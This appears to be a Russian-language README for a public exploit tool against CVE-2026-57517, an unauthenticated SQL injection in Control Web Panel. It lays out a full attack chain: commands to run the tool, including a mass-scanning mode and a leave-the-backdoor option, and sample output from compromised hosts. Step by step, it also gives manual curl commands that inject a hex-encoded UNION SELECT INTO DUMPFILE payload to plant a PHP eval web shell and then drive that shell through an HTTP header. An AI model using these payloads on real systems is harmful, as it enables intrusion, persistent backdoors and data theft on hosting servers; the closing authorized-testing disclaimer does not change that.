
💉 Blind SQL Injection → RCE эксплойт для Control Web Panel (CWP) ≤ 0.9.8.1224 — userRes POST → INTO DUMPFILE → cwpsvc shell
CVE-2026-57517 — критическая слепая SQL-инъекция без аутентификации в версий ≤ 0.9.8.1224. POST-параметр в конечной точке панели пользователя не очищается перед встраиванием в SQL-запрос. Запросы выполняются с привилегиями — который обладает глобальной привилегией — что позволяет злоумышленникам записывать произвольные файлы через .
userResFILEINTO DUMPFILEТипичная цепочка эксплуатации разворачивает PHP-веб-шелл в веб-доступную директорию журналов Roundcube, достигая удаленного выполнения кода от учетной записи службы cwpsvc.
| Поле | Подробности |
|---|---|
| CVE | CVE-2026-57517 |
| CVSS | 9.8 (Критический) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Тип | CWE-89 — Слепая SQL-инъекция (без аутентификации) |
| Затрагиваемые версии | Control Web Panel ≤ 0.9.8.1224 |
| Исправлено в | Версия 0.9.8.1225 |
| Раскрытие | 1 июля 2026 г. |
| Исследователь | Egidio Romano (Karma In Security) |
| PoC | Публичный — KIS-2026-12 |
git clone https://github.com/shinthink/CVE-2026-57517.git
cd CVE-2026-57517
pip install -r requirements.txt
# Одиночная цель (автоопределение имени пользователя)
python cve_2026_57517.py -t 192.168.1.100
# Одиночная цель с известным именем пользователя
python cve_2026_57517.py -t 192.168.1.100 -u cwpsvc
# Массовое сканирование
python cve_2026_57517.py -f targets.txt -o live.txt
# Интерактивная оболочка
python cve_2026_57517.py -t target.com --rce -u cwpsvc
# Постоянный бэкдор (без автоматической очистки)
python cve_2026_57517.py -t target.com --no-cleanup
-t, --target Одиночный целевой хост
-f, --file Файл с целями (по одной на строку)
-u, --username Имя пользователя CWP (пропускает автоопределение)
-o, --output Выходной файл Live TXT
--json JSON-файл отчета
--threads Параллельных рабочих потоков (по умолчанию: 20)
--timeout Тайм-аут запроса в секундах (по умолчанию: 15)
--no-cleanup Оставлять оболочки на цели
--rce Интерактивный режим оболочки
-v, --verbose Подробный вывод
$ python cve_2026_57517.py -f targets.txt -o live.txt -v
────────────────────────────────────────────────────────────
CVE-2026-57517 | 5 targets | 20 threads
Cleanup: yes
Live TXT: live.txt
────────────────────────────────────────────────────────────
✅ 192.168.10.100:2083 [rce_confirmed] 18.2s
User : admin
Shell : https://192.168.10.100:2031/roundcube/logs/cwp_a3f2b9c1d8e4.php
RCE : uid=1001(cwpsvc) gid=1001(cwpsvc) groups=1001(cwpsvc)
cwp-prod-01.example.com
whoami: cwpsvc
⚠️ 192.168.10.200:2083 [sqli_failed] 12.1s
User : cwpsvc
Error : SQL injection failed — target may be patched or path not writable
· 192.168.10.50:2083 [not_cwp] 2.3s
==================================================
SCAN SUMMARY
==================================================
Total : 5
✅ RCE : 2
⚠️ SQLi Fail : 1
🔍 No User : 1
· Not CWP : 1
==================================================
$ python cve_2026_57517.py -t target.com --rce -u admin
CWP Interactive Shell — target.com
Type 'exit' to quit, 'cleanup' to remove shell
cwp$ id
uid=1001(cwpsvc) gid=1001(cwpsvc) groups=1001(cwpsvc)
cwp$ hostname
cwp-prod-01
cwp$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
cwpsvc:x:1001:1001::/home/cwpsvc:/bin/bash
cwp$ exit
Шаг 1 — Проверить, что CWP доступен на порту 2083
curl -sk 'https://target.com:2083/' | grep -i 'control web panel\|CWP'
Шаг 2 — Проверить имя пользователя
curl -sk -o /dev/null -w "%{http_code}" 'https://target.com:2083/admin/'
# 200 = пользователь существует
Шаг 3 — SQL-инъекция через userRes
Полезная нагрузка использует UNION SELECT из 13 столбцов с шестнадцатерично закодированной PHP-оболочкой, записываемой через INTO DUMPFILE:
" UNION SELECT 1,0x{HEX_PHP_SHELL},3,4,5,6,7,8,9,10,11,12,13
INTO DUMPFILE '/usr/local/cwpsrv/var/services/roundcube/logs/shell.php' #
# Инструмент обрабатывает шестнадцатеричное кодирование автоматически. Ручной эквивалент:
PAYLOAD='" UNION SELECT 1,0x3c3f706870206576616c286261736536345f6465636f646528245f5345525645525b22485454505f43225d29293b203f3e,3,4,5,6,7,8,9,10,11,12,13 INTO DUMPFILE '\''/usr/local/cwpsrv/var/services/roundcube/logs/shell.php'\'' #'
curl -sk 'https://target.com:2083/admin/' \
-d "userRes=$PAYLOAD"
Шаг 4 — Выполнение команд через веб-шелл (порт 2031)
Развернутая PHP-оболочка читает команды из HTTP-заголовка C::
<?php eval(base64_decode($_SERVER['HTTP_C'])); ?>
# Base64-encode: print '___CMD___'; passthru(base64_decode('aWQ=')); print '___CMD___';
PHP=$(echo "print '___CMD___'; passthru(base64_decode('aWQ=')); print '___CMD___';" | base64 -w0)
curl -sk 'https://target.com:2031/roundcube/logs/shell.php' -H "C: $PHP"
# uid=1001(cwpsvc) gid=1001(cwpsvc)
| Компонент | Значение |
|---|---|
| Столбцы SQL | UNION SELECT из 13 столбцов |
| PHP-оболочка | <?php eval(base64_decode($_SERVER['HTTP_C'])); ?> |
| Шестнадцатеричное кодирование | шестнадцатеричный литерал MySQL 0x... |
| Метод записи | INTO DUMPFILE (побитовая запись файла) |
| Целевой путь | /usr/local/cwpsrv/var/services/roundcube/logs/{uniqid}.php |
| Доставка команд | HTTP-заголовок C: с PHP, закодированным в Base64 |
| Исполнитель команд | passthru(base64_decode('{cmd}')) |
🚨 ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ И АВТОРИЗОВАННЫХ ТЕСТОВ
Данное программное обеспечение предоставляется исключительно в образовательных целях и для легитимных исследований безопасности. Оно предназначено для использования:
- 🛡️ Специалистами по безопасности, проводящими авторизованные тесты на проникновение
- 🏢 Организациями, аудирующими собственную инфраструктуру CWP
- 🔬 Исследователями, изучающими техники эксплуатации уязвимостей
- 🎓 Студентами, изучающими безопасность веб-приложений
❌ Запрещается использовать это программное обеспечение для:
- Доступа к компьютерным системам без явного письменного разрешения
- Компрометации, повреждения или нарушения работы систем, которые вам не принадлежат
- Участия в любой незаконной деятельности
⚖️ Правовое уведомление
Несанкционированный доступ к компьютерным системам нарушает законы, включая, но не ограничиваясь:
- США: Computer Fraud and Abuse Act (18 U.S.C. § 1030)
- Индонезия: UU ITE Pasal 30 & 46 (UU No. 11 Tahun 2008 jo. UU No. 1 Tahun 2024)
- Европейский союз: Директива 2013/40/EU
- Великобритания: Computer Misuse Act 1990
Автор(ы) НЕ НЕСУТ ОТВЕТСТВЕННОСТИ за любое неправомерное использование, ущерб или юридические последствия, возникшие в результате использования этого инструмента. Используя данное программное обеспечение, вы подтверждаете, что несете единоличную ответственность за свои действия и соглашаетесь соблюдать все применимые законы.
| Ресурс | Ссылка |
|---|---|
| Консультация Karma In Security | KIS-2026-12 |
| Оригинальный PoC | CVE-2026-57517.php |
| Полное раскрытие | SecLists |
| OpenCVE | CVE-2026-57517 |
| Журнал изменений CWP | control-webpanel.com |
⚡ Создано для исследований безопасности и образования ⚡
Этот проект не связан с Control Web Panel или Apache Software Foundation.